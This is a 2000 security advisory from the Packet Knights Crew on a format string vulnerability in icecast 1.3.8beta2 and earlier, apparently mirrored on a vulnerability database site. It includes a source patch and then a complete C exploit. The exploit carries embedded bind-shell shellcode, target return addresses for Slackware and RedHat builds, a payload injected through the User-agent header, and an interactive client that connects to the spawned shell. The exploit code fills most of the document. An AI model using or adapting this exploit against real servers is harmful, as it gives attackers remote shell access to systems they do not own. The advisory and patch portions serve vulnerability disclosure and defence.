`/* pkc004.txt */
-=[ SECURITY ADVISORY #004 ]=-
_____________ _______
| \ [www.pkcrew.org] / \
\ | ______ / ___ \
| | |_ _| ___ | / \___|
| | | | / _| | |
| _______/ | | / / | |
| / | _ < | | ___
| | [PkC] | | \ \ | \_____/ |
_| |_ _| |_ \ \_ \ |
|_______| |______| |____| \__________/
[ Packet Knights Crew ]
-=[ SECURITY ADVISORY #004 ]=-
- Vulnerable program: icecast 1.3.8beta2 and prior
- Tested on: Linux/ix86 - icecast 1.3.7 (Slackware 7.0 - RedHat 7.0)
- Advisory author: |CyRaX| <[email protected]>
- Group: Packet Knights (http://www.pkcrew.org/)
- Date of release: 01/22/2000
- Problems: Format bugs
- Impact: Remote vulnerablity allows to execute arbitrary code with
the UID/GID of the user running icecast.
- Risk level: HIGH
- Exploit: Exploit for icecast 1.3.7 compiled on Slackware 7.0 and
RedHat 7.0 attached
- Dedicated to : my right hand
- Greetings: all the bros of pkcrew expecially recidjvo, asynchro,
cthulhu and fake
all my friends of ircnet and suidnet exp. mav, mr^moon,
smav, nobody88 ecc. ecc.
- Summary:
Icecast is a server for mp3 streaming. In file utils.c the
function fd_write is often used putting the string instead of
the format.
- Details:
Function print_client() in utility.c:
void
print_client(void *data, void *param)
{
[..]
sprintf (buf, "Client %ld\t[%s] connected for %s, %lu bytes transfered. %d errors. User agent: [%s]. Type: %s\r\n",
con->id, con_host (con), nice_time (get_time () - con->connect_time,timebuf), client->write_bytes, client_errors (client),
get_user_agent (con), client->type == listener_e ? "listener" : "relay");
if (!param)
fd_write(info.statsfile, buf); <- BUGGED
else
sock_write (*sock, "%s", buf);
}
- Solution: Authors were contacted but they did'nt answered.
I include here a patch for icecast-1.3.7/src/utility.c.
This is just a temporary solution.
---utility.c.diff---
164c164
< fd_write (info.statsfile,
---
> fd_write (info.statsfile,"%s",
201c201
< fd_write (info.statsfile, buf);
---
> fd_write (info.statsfile,"%s", buf);
226c226
< fd_write (info.statsfile, buf);
---
> fd_write (info.statsfile,"%s", buf);
260c260
< fd_write (info.statsfile, buf);
---
> fd_write (info.statsfile,"%s", buf);
270c270
< fd_write (info.statsfile, buf);
---
> fd_write (info.statsfile, "%s",buf);
328c328
< sprintf (buf, "Client %ld\t[%s] connected for %s, %lu bytes transfered. %d errors. User agent: [%s]. Type: %s\r\n",
---
> snprintf (buf, BUFSIZE,"Client %ld\t[%s] connected for %s, %lu bytes transfered. %d errors. User agent: [%s]. Type: %s\r\n",
333c333
< fd_write(info.statsfile, buf);
---
> fd_write(info.statsfile, "%s",buf);
--- END OF utility.c.diff ---
just do a : patch utility.c utility.c.diff
- exploitation: Well.. exploitation is not too simple. You cannot
directly see the output of the fd_write. You have to eat more than
2000 %x of stack to reach the format string. Anyway.. I coded an
exploit that worked on my slackware 7.0 and redhat 7.0 . If you
add targets you can send them to me at [email protected] .
Cause icecast is a multithread server, it can give you problem on
the port where we bind the shell. It sometimes write you the output
of the admin console or other strange things. If a commands you do
is not executed try to rewrite it some times. To resolve this problem
you may want to change the shellcode to a add-user one.
--- PKCicecast-ex.c ---
/* Exploits format string vulnerability in icecast 1.3.7
* Coded by |CyRaX| <[email protected]>
* Packet Knights Crew http://www.pkcrew.org/
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <netinet/in.h>
char code[]=
"\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8"
"\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89"
"\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x0f\x27\x89\x4d\xf0"
"\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd"
"\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9"
"\xb2\x3f\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80\xeb\x18\x5e\x89\x75"
"\x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08"
"\x8d\x55\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh";
unsigned long ip;
void try_it();
struct target{
char *name;
char *addr1;
char *addr2;
char *addr3;
char *addr4;
u_short one;
u_short two;
u_short three;
u_short xx;
u_short pad;
};
int main(int argc,char **argv){
int s,i,sel;
struct sockaddr_in sk;
char sndbuff[9000],xx[9000],one[300],two[300],three[300],nop[1000],pad[100];
struct target tl[]={
{
"icecast-1.3.7.tar.gz compiled on Slackware 7.0",
"\x1c\xdb\x5f\xbf",
"\x1d\xdb\x5f\xbf",
"\x1e\xdb\x5f\xbf",
"\x1f\xdb\x5f\xbf",
123,
136,
96,
2076,
5
},
{
"icecast-1.3.7.tar.gz compiled on Redhat 7.0",
"\xd8\xd8\x5f\xbf",
"\xd9\xd8\x5f\xbf",
"\xda\xd8\x5f\xbf",
"\xdb\xd8\x5f\xbf",
116,
159,
96,
2074,
3
}
};
printf("Icecast 1.3.7 format bug exploit by |CyRaX| <[email protected]\n");
printf("Packet Knights Crew | http://www.pkcrew.org/\n");
if(argc<4){
printf("Usage : ./PKCicecast-ex <target> <port> <type>\n");
printf("types are :\n");
for(i=0;i<(sizeof(tl)/sizeof(struct target));i++){
printf("%2i : %s\n",i,tl[i].name);
}
exit(0);
}
sel=atoi(argv[3]);
memset(sndbuff,0,9000);
memset(xx,0,9000);
memset(one,0,300);
memset(two,0,300);
memset(three,0,300);
memset(pad,0,100);
memset(nop,'\x90',1000);
nop[1000]=0;
s=socket(AF_INET,SOCK_STREAM,0);
ip=inet_addr(argv[1]);
sk.sin_addr.s_addr=ip;
sk.sin_port=htons(atoi(argv[2]));
sk.sin_family=AF_INET;
connect(s,(struct sockaddr *)&sk,sizeof(sk));
strcpy(sndbuff,"GET / HTTP/1.0\n");
send(s,sndbuff,strlen(sndbuff),0);
for(i=0;i<=(tl[sel].xx*3);i+=3){
memcpy(xx+i,"%8x",3);
}
memset(one,'\x90',tl[sel].one);
memset(two,'\x90',tl[sel].two);
memset(three,'\x90',tl[sel].three);
memcpy(one+strlen(one)-2,"\xeb\x02",2);
memcpy(two+strlen(two)-2,"\xeb\x02",2);
memcpy(three+strlen(three)-2,"\xeb\x02",2);
memset(pad,'X',tl[sel].pad);
sprintf(sndbuff,"User-agent: %s"
"%s"
"%s"
"%s"
"%s"
"%s" /* the %8x */
"%%n"
"%s%%n"
"%s%%n"
"%s%%n"
"%s"
"%s\n\n"
,pad,tl[sel].addr1,tl[sel].addr2,tl[sel].addr3,tl[sel].addr4,
xx,one,two,three,nop,code);
send(s,sndbuff,strlen(sndbuff),0);
printf("We must sleep for 120 seconds. Waiting for icecast to do the statistic\n");
alarm(120);
signal(SIGALRM,try_it);
while(1)recv(s,sndbuff,9000,0);
}
void try_it(){
struct sockaddr_in sk;
int s;
char buff[1000];
fd_set fs;
printf("trying!\n");
sk.sin_addr.s_addr=ip;
sk.sin_port=htons(3879);
sk.sin_family=AF_INET;
s=socket(AF_INET,SOCK_STREAM,0);
if(connect(s,(struct sock_addr*)&sk,sizeof(sk))==-1){
printf("sorry.. it did'nt worked\n");
exit(0);
}
strcpy(buff,"uname -a;id\n");
send(s,buff,strlen(buff),0);
while(1){
memset(buff,0,1000);
FD_ZERO(&fs);
FD_SET(0,&fs);
FD_SET(s,&fs);
select(s+1,&fs,NULL,NULL,NULL);
if(FD_ISSET(0,&fs)){
fgets(buff,1000,stdin);
send(s,buff,strlen(buff),0);
}
if(FD_ISSET(s,&fs)){
recv(s,buff,1000,0);
printf("%s",buff);
}
}
}
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation